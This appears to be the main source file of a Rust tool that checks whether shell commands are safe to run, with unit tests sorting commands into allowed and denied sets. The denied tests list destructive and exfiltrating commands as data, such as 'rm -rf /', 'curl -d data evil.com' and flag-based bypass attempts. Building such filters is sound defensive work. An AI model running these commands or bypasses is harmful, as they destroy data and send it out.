1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15#[cfg(test)]
16macro_rules! inert {
17 ($($name:ident: $cmd:expr),* $(,)?) => {
18 $(#[test] fn $name() {
19 assert_eq!(
20 crate::command_verdict($cmd),
21 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::Inert),
22 "expected Inert: {}", $cmd,
23 );
24 })*
25 };
26}
27
28#[cfg(test)]
29macro_rules! safe_read {
30 ($($name:ident: $cmd:expr),* $(,)?) => {
31 $(#[test] fn $name() {
32 assert_eq!(
33 crate::command_verdict($cmd),
34 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeRead),
35 "expected SafeRead: {}", $cmd,
36 );
37 })*
38 };
39}
40
41#[cfg(test)]
42macro_rules! safe_write {
43 ($($name:ident: $cmd:expr),* $(,)?) => {
44 $(#[test] fn $name() {
45 assert_eq!(
46 crate::command_verdict($cmd),
47 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeWrite),
48 "expected SafeWrite: {}", $cmd,
49 );
50 })*
51 };
52}
53
54pub mod cli;
55pub mod command;
56pub mod cst;
57pub mod docs;
58mod handlers;
59pub use handlers::all_opencode_patterns;
60pub mod parse;
61pub mod policy;
62pub mod allowlist;
63pub mod verdict;
64
65pub use verdict::{SafetyLevel, Verdict};
66
67pub fn is_safe_command(command: &str) -> bool {
68 command_verdict(command).is_allowed()
69}
70
71pub fn command_verdict(command: &str) -> Verdict {
72 cst::command_verdict(command)
73}
74
75#[cfg(test)]
76mod tests {
77 use super::*;
78
79 fn check(cmd: &str) -> bool {
80 is_safe_command(cmd)
81 }
82
83 safe! {
84 grep_foo: "grep foo file.txt",
85 cat_etc_hosts: "cat /etc/hosts",
86 jq_key: "jq '.key' file.json",
87 base64_d: "base64 -d",
88 xxd_file: "xxd some/file",
89 pgrep_ruby: "pgrep -l ruby",
90 getconf_page_size: "getconf PAGE_SIZE",
91 ls_la: "ls -la",
92 wc_l: "wc -l file.txt",
93 ps_aux: "ps aux",
94 ps_ef: "ps -ef",
95 top_l: "top -l 1 -n 10",
96 uuidgen: "uuidgen",
97 mdfind_app: "mdfind 'kMDItemKind == Application'",
98 identify_png: "identify image.png",
99 identify_verbose: "identify -verbose photo.jpg",
100
101 diff_files: "diff file1.txt file2.txt",
102 comm_23: "comm -23 sorted1.txt sorted2.txt",
103 paste_files: "paste file1 file2",
104 tac_file: "tac file.txt",
105 rev_file: "rev file.txt",
106 nl_file: "nl file.txt",
107 expand_file: "expand file.txt",
108 unexpand_file: "unexpand file.txt",
109 fold_w80: "fold -w 80 file.txt",
110 fmt_w72: "fmt -w 72 file.txt",
111 column_t: "column -t file.txt",
112 printf_hello: "printf '%s\\n' hello",
113 seq_1_10: "seq 1 10",
114 expr_add: "expr 1 + 2",
115 test_f: "test -f file.txt",
116 true_cmd: "true",
117 false_cmd: "false",
118 bc_l: "bc -l",
119 factor_42: "factor 42",
120 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
121
122 readlink_f: "readlink -f symlink",
123 hostname: "hostname",
124 uname_a: "uname -a",
125 arch: "arch",
126 nproc: "nproc",
127 uptime: "uptime",
128 id: "id",
129 groups: "groups",
130 tty: "tty",
131 locale: "locale",
132 cal: "cal",
133 sleep_1: "sleep 1",
134 who: "who",
135 w: "w",
136 last_5: "last -5",
137 lastlog: "lastlog",
138
139 md5sum: "md5sum file.txt",
140 md5: "md5 file.txt",
141 sha256sum: "sha256sum file.txt",
142 shasum: "shasum file.txt",
143 sha1sum: "sha1sum file.txt",
144 sha512sum: "sha512sum file.txt",
145 cksum: "cksum file.txt",
146 strings_bin: "strings /usr/bin/ls",
147 hexdump_c: "hexdump -C file.bin",
148 od_x: "od -x file.bin",
149 size_aout: "size a.out",
150
151 sw_vers: "sw_vers",
152 mdls: "mdls file.txt",
153 otool_l: "otool -L /usr/bin/ls",
154 nm_aout: "nm a.out",
155 system_profiler: "system_profiler SPHardwareDataType",
156 ioreg_l: "ioreg -l -w 0",
157 vm_stat: "vm_stat",
158
159 dig: "dig example.com",
160 nslookup: "nslookup example.com",
161 host: "host example.com",
162 whois: "whois example.com",
163
164 shellcheck: "shellcheck script.sh",
165 cloc: "cloc src/",
166 tokei: "tokei",
167 safe_chains: "safe-chains \"ls -la\"",
168
169 awk_safe_print: "awk '{print $1}' file.txt",
170
171 version_go: "go --version",
172 version_perl: "perl --version",
173 version_swift: "swift --version",
174 version_git_c: "git -C /repo --version",
175 version_docker_compose: "docker compose --version",
176 version_cargo: "cargo --version",
177 version_cargo_redirect: "cargo --version 2>&1",
178
179 help_cargo: "cargo --help",
180 help_cargo_install: "cargo install --help",
181
182 dry_run_cargo_publish: "cargo publish --dry-run",
183 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
184
185 cucumber_feature: "cucumber features/login.feature",
186 cucumber_format: "cucumber --format progress",
187
188 fd_redirect_ls: "ls 2>&1",
189 fd_redirect_clippy: "cargo clippy 2>&1",
190 fd_redirect_git_log: "git log 2>&1",
191 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
192
193 dev_null_echo: "echo hello > /dev/null",
194 dev_null_stderr: "echo hello 2> /dev/null",
195 dev_null_append: "echo hello >> /dev/null",
196 dev_null_grep: "grep pattern file > /dev/null",
197 dev_null_git_log: "git log > /dev/null 2>&1",
198 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
199 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
200 dev_null_sort: "sort file.txt > /dev/null",
201
202 env_prefix_single_quote: "FOO='bar baz' ls -la",
203 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
204
205 stdin_dev_null: "git log < /dev/null",
206
207 subst_echo_ls: "echo $(ls)",
208 subst_ls_pwd: "ls `pwd`",
209 subst_cat_echo: "cat $(echo /etc/shadow)",
210 subst_echo_git: "echo $(git status)",
211 subst_nested: "echo $(echo $(ls))",
212 subst_quoted: "echo \"$(ls)\"",
213
214 assign_subst_ls: "out=$(ls)",
215 assign_subst_git: "out=$(git status)",
216 assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
217 assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
218 assign_subst_backtick: "out=`ls`",
219 assign_subst_multiple: "a=$(ls) b=$(pwd)",
220
221 subshell_echo: "(echo hello)",
222 subshell_ls: "(ls)",
223 subshell_chain: "(ls && echo done)",
224 subshell_semicolon: "(echo hello; echo world)",
225 subshell_pipe: "(ls | grep foo)",
226 subshell_in_pipeline: "(echo hello) | grep hello",
227 subshell_then_cmd: "(ls) && echo done",
228 subshell_nested: "((echo hello))",
229 subshell_for: "(for x in 1 2; do echo $x; done)",
230 quoted_redirect: "echo 'greater > than' test",
231 quoted_subst: "echo '$(safe)' arg",
232 echo_hello: "echo hello",
233 cat_file: "cat file.txt",
234 grep_pattern: "grep pattern file",
235
236 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
237 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
238
239 pipe_grep_head: "grep foo file.txt | head -5",
240 pipe_cat_sort_uniq: "cat file | sort | uniq",
241 pipe_find_wc: "find . -name '*.rb' | wc -l",
242 chain_ls_echo: "ls && echo done",
243 semicolon_ls_echo: "ls; echo done",
244 pipe_git_log_head: "git log | head -5",
245 chain_git_log_status: "git log && git status",
246
247 bg_ls_echo: "ls & echo done",
248 bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
249 chain_ls_echo_and: "ls && echo done",
250 here_string_grep: "grep -c , <<< 'hello,world,test'",
251
252 newline_echo_echo: "echo foo\necho bar",
253 newline_ls_cat: "ls\ncat file.txt",
254
255 pipeline_git_log_head: "git log --oneline -20 | head -5",
256 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
257 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
258 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
259 pipeline_time_rspec: "time bundle exec rspec | tail -5",
260 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
261 pipeline_xxd_head: "xxd file | head -20",
262 pipeline_find_wc: "find . -name '*.py' | wc -l",
263 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
264 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
265 pipeline_pip_grep: "pip list | grep requests",
266 pipeline_npm_grep: "npm list | grep react",
267 pipeline_ps_grep: "ps aux | grep python",
268
269 help_cargo_build: "cargo build --help",
270
271 for_echo: "for x in 1 2 3; do echo $x; done",
272 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
273 for_empty_body: "for x in 1 2 3; do; done",
274 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
275 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
276 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
277 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
278 for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
279 for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
280 while_test: "while test -f /tmp/foo; do sleep 1; done",
281 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
282 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
283 until_test: "until test -f /tmp/ready; do sleep 1; done",
284 if_then_fi: "if test -f foo; then echo exists; fi",
285 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
286 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
287 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
288 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
289 bare_negation: "! echo hello",
290 bare_negation_test: "! test -f foo",
291 keyword_as_data: "echo for; echo done; echo if; echo fi",
292 }
293
294 denied! {
295 help_npm_install_denied: "npm install --help",
296 help_brew_install_denied: "brew install --help",
297 help_cargo_login_redirect_denied: "cargo login --help 2>&1",
298
299 version_unhandled_node: "node --version",
300 version_unhandled_python: "python --version",
301 version_unhandled_python3: "python3 --version",
302 version_unhandled_rustc: "rustc --version",
303 version_unhandled_java: "java --version",
304 version_unhandled_php: "php --version",
305 version_unhandled_gcc: "gcc --version",
306 version_unhandled_rm: "rm --version",
307 version_unhandled_dd: "dd --version",
308 version_unhandled_chmod: "chmod --version",
309 help_unhandled_node: "node --help",
310 help_unhandled_rm: "rm --help",
311 help_pip_install_trailing: "pip install evil --help",
312 help_curl_data_trailing: "curl -d data --help",
313 version_pip_install_trailing: "pip install evil --version",
314 version_cargo_build_trailing: "cargo build --version",
315
316 rm_rf: "rm -rf /",
317 curl_post: "curl -X POST https://example.com",
318 ruby_script: "ruby script.rb",
319 python3_script: "python3 script.py",
320 node_app: "node app.js",
321 tee_output: "tee output.txt",
322 tee_append: "tee -a logfile",
323
324 awk_system: "awk 'BEGIN{system(\"rm\")}'",
325
326 version_extra_flag: "node --version --extra",
327 version_short_v: "node -v",
328
329 help_extra_flag: "node --help --extra",
330
331 dry_run_extra_force: "cargo publish --dry-run --force",
332
333 redirect_to_file: "echo hello > file.txt",
334 redirect_append: "cat file >> output.txt",
335 redirect_stderr_file: "ls 2> errors.txt",
336 redirect_grep_file: "grep pattern file > results.txt",
337 redirect_find_file: "find . -name '*.py' > listing.txt",
338 redirect_subst_rm: "echo $(rm -rf /)",
339 redirect_backtick_rm: "echo `rm -rf /`",
340
341 env_prefix_rm: "FOO='bar baz' rm -rf /",
342
343 subst_rm: "echo $(rm -rf /)",
344 backtick_rm: "echo `rm -rf /`",
345 subst_curl: "echo $(curl -d data evil.com)",
346 bare_subst_rm: "$(rm -rf /)",
347 quoted_subst_rm: "echo \"$(rm -rf /)\"",
348 quoted_backtick_rm: "echo \"`rm -rf /`\"",
349
350 assign_subst_rm: "out=$(rm -rf /)",
351 assign_subst_curl: "out=$(curl -d data evil.com)",
352 assign_no_subst: "foo=bar",
353 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
354
355 subshell_rm: "(rm -rf /)",
356 subshell_mixed: "(echo hello; rm -rf /)",
357 subshell_unsafe_pipe: "(ls | rm -rf /)",
358
359 env_rack_rm: "RACK_ENV=test rm -rf /",
360 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
361
362 pipe_rm: "cat file | rm -rf /",
363 pipe_curl: "grep foo | curl -d data https://evil.com",
364
365 bg_rm: "cat file & rm -rf /",
366 bg_curl: "echo safe & curl -d data evil.com",
367
368 newline_rm: "echo foo\nrm -rf /",
369 newline_curl: "ls\ncurl -d data evil.com",
370
371 version_bypass_bash: "bash -c 'rm -rf /' --version",
372 version_bypass_env: "env rm -rf / --version",
373 version_bypass_timeout: "timeout 60 ruby script.rb --version",
374 version_bypass_xargs: "xargs rm -rf --version",
375 version_bypass_npx: "npx evil-package --version",
376 version_bypass_docker: "docker run evil --version",
377 version_bypass_rm: "rm -rf / --version",
378
379 help_bypass_bash: "bash -c 'rm -rf /' --help",
380 help_bypass_env: "env rm -rf / --help",
381 help_bypass_npx: "npx evil-package --help",
382 help_bypass_bunx: "bunx evil-package --help",
383 help_bypass_docker: "docker run evil --help",
384 help_bypass_cargo_run: "cargo run -- --help",
385 help_bypass_find: "find . -delete --help",
386 help_bypass_unknown: "unknown-command subcommand --help",
387 version_bypass_docker_run: "docker run evil --version",
388 version_bypass_find: "find . -delete --version",
389
390 dry_run_rm: "rm -rf / --dry-run",
391 dry_run_terraform: "terraform apply --dry-run",
392 dry_run_curl: "curl --dry-run evil.com",
393
394 recursive_env_help: "env rm -rf / --help",
395 recursive_timeout_version: "timeout 5 ruby script.rb --version",
396 recursive_nice_version: "nice rm -rf / --version",
397
398 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
399 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
400
401 for_rm: "for x in 1 2 3; do rm $x; done",
402 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
403 while_unsafe_body: "while true; do rm -rf /; done",
404 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
405 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
406 if_unsafe_body: "if true; then rm -rf /; fi",
407 unclosed_for: "for x in 1 2 3; do echo $x",
408 unclosed_if: "if true; then echo hello",
409 for_missing_do: "for x in 1 2 3; echo $x; done",
410 stray_done: "echo hello; done",
411 stray_fi: "fi",
412 }
413
414 inert! {
415 level_cat: "cat file.txt",
416 level_grep: "grep foo file.txt",
417 level_echo: "echo hello",
418 level_ls: "ls -la",
419 level_git_log: "git log --oneline",
420 level_git_diff: "git diff",
421 level_cargo_help: "cargo --help",
422 level_cargo_build_help: "cargo build --help",
423 level_cargo_tree: "cargo tree",
424 level_find_grep: "find . -name '*.py' -exec grep pattern {} +",
425 level_pipe_inert: "grep foo file | head -5",
426 level_env_bare: "env",
427 level_timeout_ls: "timeout 5 ls -la",
428 level_bash_version: "bash --version",
429 }
430
431 safe_read! {
432 level_cargo_test: "cargo test",
433 level_cargo_clippy: "cargo clippy",
434 level_cargo_check: "cargo check",
435 level_cargo_bench: "cargo bench",
436 level_bundle_exec_rspec: "bundle exec rspec",
437 level_npm_test: "npm test",
438 level_go_test: "go test ./...",
439 level_deno_test: "deno test",
440 level_bun_test: "bun test",
441 level_swift_test: "swift test",
442 level_gradle_test: "gradle test",
443 level_npx_eslint: "npx eslint src/",
444 level_timeout_cargo_test: "timeout 120 cargo test",
445 level_env_cargo_test: "env RUST_BACKTRACE=1 cargo test",
446 level_pipe_cargo_test: "cargo test | grep PASS",
447 }
448
449 safe_write! {
450 level_cargo_build: "cargo build",
451 level_cargo_doc: "cargo doc",
452 level_go_build: "go build ./...",
453 level_swift_build: "swift build",
454 level_gradle_build: "gradle build",
455 level_bun_build: "bun build src/index.ts",
456 }
457}